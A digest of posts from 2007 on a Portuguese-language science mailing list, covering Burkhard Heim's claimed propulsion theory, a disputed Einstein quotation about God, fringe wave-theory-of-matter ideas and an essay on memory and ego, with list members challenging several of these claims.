pelos aliados e passou a trabalhar livremente para instituições
científicas alemãs. No entanto, houve dois problemas: um deles o fato
de que seus artigos mais polêmicos não foram publicados por revistas
científicas, sendo recusado pelos revisores. Outro problema foi o fato
de Burkhard Heim ter se recusado a aprender inglês.

No entanto, suas teorias foram descobertas pelos militares americanos,
interessados em desenvolver superpropulsores de acordo com suas idéias.

Da Terra a Marte em três horas

De acordo com a teoria de Heim, um propulsor conseguiria levar uma
nave até o planeta Marte em apenas três horas. Ou a uma estrela
situada a 11 anos-luz em 80 dias.

As teorias quânticas de Heim já haviam sido desenvolvidas ainda nos
anos 50. Segundo Heim, o motor seria capaz de produzir um campo
magnético tão intenso que produziria um campo gravitacional que
impulsionaria a nave para uma outra dimensão.

De acordo com a reportagem, a FAM pretende começar a realizar testes
com a máquina nos próximos quatro anos.

-o=O=o-

O link prometido:
http://tecnocientista.info/noticia_detalhe.asp?cod=5440

[]s



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 11:30

Caro Alvaro,
o texto foi retirado de um sítio católico e tinha como referência o
livro: As Mais Belas Orações de Todos os Tempos, Rose Marie Muraro e
frei Raimundo Cintra .
(http://www.centrotabor.com.br/homens/material/05quaini.18.07.02.doc)
Referência nada científica, de fato, porém muitas frações do texto são
verdadeiras e bem conhecidas por todos, por isso pareceu-me
fideldigno. Ainda estou pensando sobre o tal propósito, ultimamente eu
nem sei se sou ateu ou crente, mas certamente "confio" em uma série de
"coisas" que passam longe da mente dos participantes mais céticos
deste grupo. O Einstein transmite algo sobre isso, com a sua sensação
do mistério e da verdadeira religiosidade.
Um abraço,
Esteban.


Em 07/05/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> escreveu:
>
>
> Caro Esteban,
>
> Qual seu propósito com esse texto? De onde ele foi retirado? Nem mesmo a vó
> de Einstein teria escrito algo tão pouco einsteiniano...
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "Esteban Moreno" <estebanlmoreno@gmail.com>
> Sent: Sunday, May 06, 2007 8:45 PM
> Subject: [ciencialist] A idéia que Einstein fazia de Deus
>
> A idéia que Einstein fazia de Deus
> <http://www.ansiao.net/einstein.jpg>
>
>
> *«A opinião comum de que devo ser ateu repousa sobre grave erro. Quem a
> pretende deduzir de minhas teorias científicas não as entendeu. Creio num
> Deus pessoal e posso dizer-lhes que, nunca, em minha vida, cedi a uma
> ideologia ateia.
>
> Não há oposição entre a ciência e a religião.
> Apenas há cientistas atrasados, que professam ideias que datam de 1880.
>
> Aos dezoito anos, eu já considerava as teorias sobre o evolucionismo
> mecanicista e casualista como irremediavelmente antiquadas.
>
> No interior do átomo não reinam a harmonia e a regularidade que esses
> cientistas costumam pressupor. Nele se depreendem apenas leis prováveis,
> formuladas na base de estatísticas reformáveis. Ora, essa indeterminação, no
> plano da matéria, abre lugar à intervenção de uma Causa, que produza o
> equilíbrio e a harmonia dessas reações dissemelhantes e contraditórias da
> matéria.
>
> Há, porém, várias maneiras de se representar Deus. Alguns o representam como
> o Deus mecânico, que intervém no mundo para modificar as leis da natureza e
> o curso dos acontecimentos. Querem pô-lo ao seu serviço, por meio de
> fórmulas mágicas. É o Deus de certos primitivos, antigos ou modernos. Outros
> o representam como o Deus jurídico, legislador e agente policial da
> moralidade, que impõe o medo e estabelece distâncias. Outros, enfim, como o
> Deus interior, que dirige por dentro todas as coisas e que se revela aos
> homens no mais íntimo da consciêncía.
> -
> A mais bela e profunda emoção que se pode experimentar é a sensação do
> místico. Este é o semeador da verdadeira ciência. Aquele a quem seja
> estranha tal sensação, aquele que não mais possa sonhar e ser empolgado pelo
> encantamento, não passa, em verdade, de um morto.
>
> Saber que realmente existe aquilo que é impenetrável a nós, e que se
> manifesta como a mais alta das sabedorias; a mais radiosa das belezas, que
> as nossas faculdades embotadas só podem entender em suas formas mais
> primitivas: esse conhecimento, esse sentimento, está no centro mesmo da
> verdadeira religiosidade.
>
> A experiência cósmica religiosa é a mais forte e a mais nobre fonte de
> pesquisa científica. Minha religião consiste em humilde admiração do
> espírito superior e ilimitado que se revela nos menores detalhes que podemos
> perceber em nossos espíritos frágeis e incertos. Essa convicção,
> profundamente emocional na presença de um poder racionalmente superior, que
> se revela* no* incompreensível, é a ideia que faço de Deus».*
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>


SUBJECT: Re: OFF-TOPIC: Software para calcular área de mapa
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 11:53

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Tem um método muito simples.

Mais simples é pagar para um estudante de engenharia civil medir a
área usando um planímetro. Para isto, basta ter o mapa impresso em uma
determinada escala, os estudantes tem o resto (mesa de desenho,
planímetro, o conhecimento de como usar o planímetro, e a necessidade
de ganhar um troco).

http://cmup.fc.up.pt/cmup/cmec2/Planimetro/Planimetro.html

Para fazer o software é preciso saber como os dados estão
representados. Se for uma sucessão de vetores é uma coisa, se é uma
sucessão de coordenadas, é outra coisa.





SUBJECT: Re: [ciencialist] Burkhard Heim - Do Nazismo à Força Aérea Americana
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 12:28

César,

Não conhecia esse cientista. Impressionante.
Grato pela contribuição.

Sds,
Victor.

----- Original Message -----
From: César A. K. Grossmann
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 10:31 AM
Subject: [ciencialist] Burkhard Heim - Do Nazismo à Força Aérea Americana


Encontrei um artigo interessante, do qual reproduzo apenas a primeira
parte, quem quiser ler o resto, use o link que aparece lá no fim...

-o=O=o-

Mais de um ano atrás a revista New Scientist publicou um artigo
bastante polêmico sobre a informação confirmada de que a Força Aérea
Americana [em colaboração com o Departameno de Energia americano]
estaria desenvolvendo um superpropulsor baseado nas teorias de um
físico alemão chamado Burkhard Heim, que havia começado seus estudos
junto a órgãos científicos nazistas. Também a Nasa estaria interessada
na proposta, obviamente.

Quando Einstein escreveu uma carta a Franklin Delano Rosevelt,
solicitando que este autorizasse o desenvolvimento de
bombas atômicas pelos EUA, antes que os nazistas o fizessem, estava se
referindo a trabalhos de cientistas como Burkhard Heim.

Após o fim da Segunda guerra mundial, Burkhard Heim foi inocentado
pelos aliados e passou a trabalhar livremente para instituições
científicas alemãs. No entanto, houve dois problemas: um deles o fato
de que seus artigos mais polêmicos não foram publicados por revistas
científicas, sendo recusado pelos revisores. Outro problema foi o fato
de Burkhard Heim ter se recusado a aprender inglês.

No entanto, suas teorias foram descobertas pelos militares americanos,
interessados em desenvolver superpropulsores de acordo com suas idéias.

Da Terra a Marte em três horas

De acordo com a teoria de Heim, um propulsor conseguiria levar uma
nave até o planeta Marte em apenas três horas. Ou a uma estrela
situada a 11 anos-luz em 80 dias.

As teorias quânticas de Heim já haviam sido desenvolvidas ainda nos
anos 50. Segundo Heim, o motor seria capaz de produzir um campo
magnético tão intenso que produziria um campo gravitacional que
impulsionaria a nave para uma outra dimensão.

De acordo com a reportagem, a FAM pretende começar a realizar testes
com a máquina nos próximos quatro anos.

-o=O=o-

O link prometido:
http://tecnocientista.info/noticia_detalhe.asp?cod=5440

[]s





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 12:31

O exagero é porque intimamente sabemos que o defunto Ferrari não vai
morrer, jaz vivo e pode ter infinitos nomes. Intimamente não há como
matá-lo, não há porque matá-lo. O que ele escreveu não é absurdo, a
sensação do óbvio paira por muitas ou quase a totalidade das grandes
descobertas científicas. O próprio Einstein dizia que a idéia da
relativização do tempo e espaço, uma das idéias mais revolucionárias
de nosso tempo, parecia-lhe a uma certa altura tão obvia que se
assustava por ninguém ter pensado nisso antes (o que não era bem
verdade). A questão é que para se perceber o óbvio, frequentemente é
necesssário muuuito conhecimento, e isso certamente não é tão óbvio.
Mas é somente este lado que se aponta. No fundo, se a história da maça
é verdadeira ou não é o que menos importa, legal mesmo é malhar o
nosso judas. Vai Ferrari, queima, queima... ;-)) Parabéns, cara! E
olha que eu também acho que você escreve muita besteira. ;-))
Abraços,
Esteban.



>> ===========================
> -----Mensagem Original-----
> De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 8 de maio de 2007 20:19
> Assunto: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
>
>
> Essa mensagem do Takata, transcrita abaixo, me fez lembrar um filme
> do francês Jean Paul Belmondo, "O Magnífico". Em uma das cenas, o
> protagonista - um policial - trucida um inimigo, primeiro
> descarregando nele todas as trezentas balas de uma metralhadora;
> depois, todo o pente de uma pistola; sem se contentar, ainda craveja
> no defuntíssimo 80 punhaladas; ainda muito puto, mete uma granada na
> boca do cadáver já quase em forma de papa-de-aveia; e, por último,
> sadicamente, ainda lhe tasca uma dezena de chutes.
>
> Pra que tudo isso? Sejamos racionais!:-)
>
> Abraços,
> Manuel Bulcão
>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata"
> <roberto.takata@...> escreveu
>
> > Coisas q a teoria da matéria de Ferrari precisa fazer para
> demonstrar
> > q é tão boa qto a teoria atual:
> >
> > - Prever o espectro de emissão do átomo de hidrogênio;
> > - Prever a relação entre o momento da partícula e o comprimento da
> > onda de deBroglie;
> > - Prever a relação entre carga elétrica, distância de separação das
> > cargas e a intensidade da interação entre as cargas;
> > - Prever a relação entre massa dos corpos, distância entre os
> corpos e
> > a intensidade de interação entre eles;
> > - Prever a intensidade de interação entre os quarks e a
> probabilidade
> > de decaimento do núcleo de um dado elemento;
> > - Prever o grau de desvio de um feixe luminoso ao passar em certo
> > ângulo por um campo gravitacional de certa intensidade originado por
> > um corpo puntiforme e a uma dada distância;
> > - Prever a velocidade de transmissão de dados por cabos elétricos e
> de
> > fibra óptica e a razão sinal/ruído dado um certo grau de compressão
> e
> > saturação da via;
> > - Prever o resultado da inequação de Bell dadas duas grandezas
> conjugadas;
> > - Prever a geometria do espaço-tempo dada uma densidade de
> > matéria-energia;
> >
> > Coisas q a teoria de Ferrari precisa fazer para demonstrar q é
> melhor
> > do q a atual (supondo q consiga demonstrar antes q é tão boa qto):
> > - Prever as massas das partículas fundamentais;
> > - Prever os valores de carga elétrica e cor das partículas;
> > - Prever as condições de unificação das interações fundamentais.
> >
> > []s,
> >
> > Roberto Takata
> >
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.5/793 - Release Date: 07/05/2007 14:55
>
>
>
>


SUBJECT: Re: [ciencialist] T.O.M.; era [ E=m.c2 ]
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 12:37

Pelo que eu saiba não, Prof. Luiz.

O modelo 'De Broglie refere-se às ondas associadas aos eletrons em movimento ao redor do núcleo. A Teoria Ondulatória da Materia (TOM) sugere que o próprio elétron é um onda estacionária tridimensional.

Esta constatação não interfere com as idéias 'De Broglie. Mas simplificaria significamente a explicação do porquê uma onda eletromagnética é absorvida por um eletron e re-emitida em seguida, sem a necessidade de utilizar a idéia de fótons. Explicaria tb inúmeros fenômenos relatados recentemente, como por exemplo os experimentos de Afshar.

Em outras palavras, na TOM não existem quantuns, só e tão somente ondas.

O que intriga a imaginação prof Luiz, é como uma onda pode se tornar estacionária sem um anteparo.

Explicando: se vc mantém água parada em uma bacia e em seguida joga uma pedra nela, a onda gerada irá até a borda da bacia e voltará ao ponto de origem... o processo se repetirá até que o atrito páre a onda. Isto seria uma onda estacionária de 2 dimensões que tem as bordas da bacia como anteparo.

Imaginado a bacia como o sendo Universo e a água como sendo o Ether, pela TOM, o elétron seria o ápice de onda estacionária de 3 dimensões. Está é uma explicação plausível e até elegante, mas falha quando se tenta explicar o porquê uma onda normal é refletida em uma estacionária.

Por exemplo: a luz (onda normal) é refletida no espelho que é composto de partículas (ondas estacionárias). Fazendo uma analogia com a bacia d'água, uma outra onda apenas se superporia sobre a primeira. Não haveria reflexão... ou será que estou enganado?

É possível que uma onda comum possa ser refletida nos ápices ou nós de uma onda estacionária?

Em tempo: atualmente tenho devotado mais tempo visitando seu site do que assistindo a Globo. Tenha essa informação como um elogio. (risos)

Um forte abraço,

Eduardo Sardeiro



----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 6:56 AM
Subject: [ciencialist] T.O.M.; era [ E=m.c2 ]


Essa thread despertou-me uma pergunta associada ao texto a seguir:

>Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
conseqüências disto?

Imediatamente pensei nos jogos eletrônicos onde os 'personagens' sofrem desvios imediatos de 90º; não há uma curva suave passando de uma direção para outra ... é brusco!
Não tenho dúvida que isso ocorre no TRC devido à minúscula inércia do elétron sob a ação do campo elétrico das placas defletoras (ou do campo magnético do yoke nos tubos de TV).
Minha pergunta é: Que deveríamos fazer para poder 'visualizar' no anteparo fluorescente do TRC essa 'minúscula' curva que o elétron deve fazer devido à sua insignificante inércia?

Meu pensamento voou um pouco além. Vamos imaginar um TRC diferente, um tubo onde os elétrons fossem substituídos por íons cuja inércia supera tremendamente aquela dos elétrons. Nesse 'novo TRC' as 'curvinhas' dos íons seriam visíveis na tela?

Curiosidade ........

Outra pergunta: O modelo das ondas estacionárias não é devido a De Broglie?

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 15:59
Assunto: Re: [ciencialist] Re: E=m.c2

Olá Alvaro,

Estamos chegando próximos de um entendimento!

A Teoria Ondulatória da Matéria visa ser uma outra
opção coerente e concreta para explicar os
fenômenos físicos, em contrapartida às explicações
apresentadas pela Física Quântica.

Existem inúmeras outras teorias que estão sendo
desenvolvidas por Físicos espalhados pelo globo.

Estas teorias estão se tornando particurlarmente
interessantes em Realidade Virtual, onde tornam
necessário ter-se teorias completas que possam
ser modeladas, programadas e executadas em
computadores.

Imagine um universo que não exista inércia? Ou
onde não exista velocidade máxima? Quais as
consequências disto?

Para que possamos entender e vislumbrar tais
universos, só criando teorias completas,
consistentes e detalhadas.

Criar leis Físicas para Realidades Virtuais não é o
objetivo principal destes trabalhos, mas considere.

A propósito, a Teoria Ondulatória da Matéria
fornece subsídios completos para modelar átomos de
hidrogênio, hélio ou qualquer outro. Se vc encontrou
alguma falha, por favor relate-nos.

Um forte abraço,

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/

----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 2:31 PM
Subject: Re: [ciencialist] Re: E=m.c2

Essa hipótese da "onda estacionária" nada mais é do que uma maneira
diferente de escrever os postulados de Bohr. E o modelo do átomo de Bohr
funciona bem para o hidrogênio, razoavelmente bem para o hélio, mas falha
para todo o restante.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 08, 2007 2:21 PM
Subject: Re: [ciencialist] Re: E=m.c2

Sardeiro: A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Victor: Sinceramente, não sei. Vislumbro algumas
possibilidades, mas não me dediquei a pensar
sobre isso. Como disse, apenas achei interessante e tive o
trabalho de acompanhar o desenvolvimento matemático
que dá suporte à tese, vendo-lhe as consequências.
Mas sem engajamento ou algum interêsse sério.
Por razões óbvias. Mas fica a indicação, e quem pensa
assim não está só. É isso.

sds,
Victor.

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 10:11 AM
Subject: Re: [ciencialist] Re: E=m.c2

Prezado Victor,

Fico satisfeito quando encontro ao menos uma
linha de pensamento em que posso dialogar e
arguir sem usar de analogias.

Ao contrário, fico indignado quando leio
frases do tipo "Daqui a uns cem anos essa
molecada chega na questão da dualidade onda-
partícula.", em plena época dos jogos
eletrônicos, tais quais o Next Generation, em
que uma realidade física é apenas isto: uma
entre várias possíveis.

Relevo isto quando penso o quanto somos
acomodados em conceber apenas um conjunto de
possibilidades para explicar os fenômenos
físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante
interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do
Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e
Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei
se se trata de engenheiro eletrônico que é físico, ou se é um físico que é
engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz
um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à
Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da
Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era
para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em
trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com
velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas
ao compormos este triângulo de velocidades nota-se que a resultante, isto é,
a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim,
as outras velocidades menores que c serão meros componentes de c.
Concluí-se, diz ele, que no mundo material não há velocidade independente de
c, já que no mundo material todas as velocidades são de matéria ou
energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por
uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v,
que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são
implementadas, matemática e geométricamente, em forma de catetos, com a
hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos,
constroi uma estrutura de onde retira os principais resultados da TRR. É um
pouco diferente dos estudos homólogos feitos por autores consagrados, que
usam triângulos como artifício de memorização de fórmulas. Seu enfoque
centra-se na tese acima, o que diferencia os desenvolvimentos. Assim,
encontram-se os seguintes triângulos: de velocidades, das massas, da
Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados
conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta,
é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que
foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito
de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um
embasamento matemático consistente, embora a tese física seja questionável.
Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como
o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara
ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair
todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre
as tentativas, em busca de outras alternativas. Que são só tentativas, ao
fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o
papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito,
embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>

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SUBJECT: A Memória e o Ego ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 13:10

A MEMÓRIA E O EGO - por Ferrari
(sobre memorização do raciocínio)

http://egogame.blogspot.com

Lembra de quando você era criança e não sabia falar ou
andar? Nem lembra, não é mesmo? Agora pense na sua
vida adulta e em todos seus complexos comportamentos.
Você anda, fala, escova os dentes, amarra os sapatos,
torce pro flamengo, faz cálculos matemáticos, faz
sexo, faz a tabuada do sete, sabe as horas, se
preocupa se está atrasado, liga o carro, dirige, toca
violão, faz perguntas, dá respostas, etc. Como é que
todas esses complexos comportamentos foram parar
dentro de você se você não veio com eles de fábrica?

Simples, deste a infância eles vem sendo construindos
e alimentados através do seu raciocínio e da sua
memória. Cada vez que seu cérebro passa por uma
experiência, ele executa um raciocínio sobre a mesma,
e é assim que os programas mentais que controlam o seu
comportamento são instalados dentro da sua memória.
Quanto mais seu cérebro repete um determinado grupo de
raciocínios, mais fortes, eficientes e invisíveis os
raciocínios que controlam o seu comportamento se
tornam. É por isto, por exemplo, que você fala
português, e fala bem, mas sequer sabe como fala.

Então, se você somar todos os programas mentais que
habitam sua memória numa programa mental só, terá um
programão pessoal que governa a maneira particular que
o seu cérebro tem de interagir com o mundo. Este
programão pessoal que o seu cérebro tem de interação
com o mundo é o seu ego. Ou seja, seu ego é a
somatória de raciocínios de causa e efeito que foram
criados e memorizados a partir de suas experiências.

Dentro do cérebro, seu ego é feito de incontáveis
impulsos neurais ligados uns aos outros. Cada um
desses impulsos neurais (raciocínios) diz ao seu
cérebro: SE isto, LOGO aquilo. Quando alguém sorri pra
você, por exemplo, seu cérebro pode raciocinar assim:
“SE sorriu, LOGO, gosta de mim”, e seguindo esta
regra, faz você sorrir de volta. Quando você vê uma
tomada na parede, seu cérebro pode raciocinar: “SE
colocar o dedo, LOGO, leva choque”. Adultos não
colocam mais o dedo na tomada. Ego escaldado tem medo
de água fria. Mas isto explica porque as crianças
colocam, elas ainda não possui este raciocínio
memórizado.

- - - - - - -


MAIS SOBRE O EGO? TEM AQUI:
http://egogame.blogspot.com









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EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
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SUBJECT: EXPERIMENTOS QUANTICOS EM CASA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 13:41

Quantum Erasing in the Home
http://www.sciam.com/slideshow.cfm?articleID=DD39218F-E7F2-99DF-39D45DA3DD2602A1

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---------------------------
[]s,

Roberto Takata




SUBJECT: Padrao de interferência em dupla fenda
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 13:52

Aqui é possível ver um vídeo com a formação do padrão de interferência
de elétrons q passam pela fenda dupla.

http://www.hqrd.hitachi.co.jp/em/doubleslit.cfm

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] A Memória e o Ego ::: (artigo)
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 14:25

Ferrari,

Seguem meus comentários intercalados.

Abrs,

Sardeiro


----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 09, 2007 1:10 PM
Subject: [ciencialist] A Memória e o Ego ::: (artigo)


A MEMÓRIA E O EGO - por Ferrari
(sobre memorização do raciocínio)

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Lembra de quando você era criança e não sabia falar ou
andar? Nem lembra, não é mesmo? Agora pense na sua
vida adulta e em todos seus complexos comportamentos.
Você anda, fala, escova os dentes, amarra os sapatos,
torce pro flamengo, faz cálculos matemáticos, faz
sexo, faz a tabuada do sete, sabe as horas, se
preocupa se está atrasado, liga o carro, dirige, toca
violão, faz perguntas, dá respostas, etc. Como é que
todas esses complexos comportamentos foram parar
dentro de você se você não veio com eles de fábrica?



Durante a primeira infância realmente não é possível perceber os processos iniciais de aprendizagem, os quais são processos fisiológicos advindos geneticamente. A criança sabe mas não sabe que sabe.

A propósito foi anunciado recentemente a evidencialização do gene responsável pelos processos primários da aprendizagem.

Continuando: a partir da segunda infância começa a formação da consciência. A parti daí, o indivíduo já começa a perceber e a moldar os processos secundários de aprendizagem. O indivíduo começa a saber que sabe.

Em outras palavras, a partir da segunda infância, o indivíduo sabe sim como comportamentos complexos foram parar dentro de si. Tanto é que ele pode recusar comportamentos indesejáveis.


Simples, deste a infância eles vem sendo construindos
e alimentados através do seu raciocínio e da sua
memória. Cada vez que seu cérebro passa por uma
experiência, ele executa um raciocínio sobre a mesma,
e é assim que os programas mentais que controlam o seu
comportamento são instalados dentro da sua memória.
Quanto mais seu cérebro repete um determinado grupo de
raciocínios, mais fortes, eficientes e invisíveis os
raciocínios que controlam o seu comportamento se
tornam. É por isto, por exemplo, que você fala
português, e fala bem, mas sequer sabe como fala.



A palavra 'racioncínio' está sendo empregada como a idéia de 'aprender com consciência'?

No meu caso, eu falo português e sei como falo. Sei inclusive e exatamente quais as cordas vocais que uso. Consegui a compreensão de todo o processo após me instruir sobre a anatomia da fala, mas acredito que outros possam compreender por outros meios. Não é nada impossível.


Então, se você somar todos os programas mentais que
habitam sua memória numa programa mental só, terá um
programão pessoal que governa a maneira particular que
o seu cérebro tem de interagir com o mundo. Este
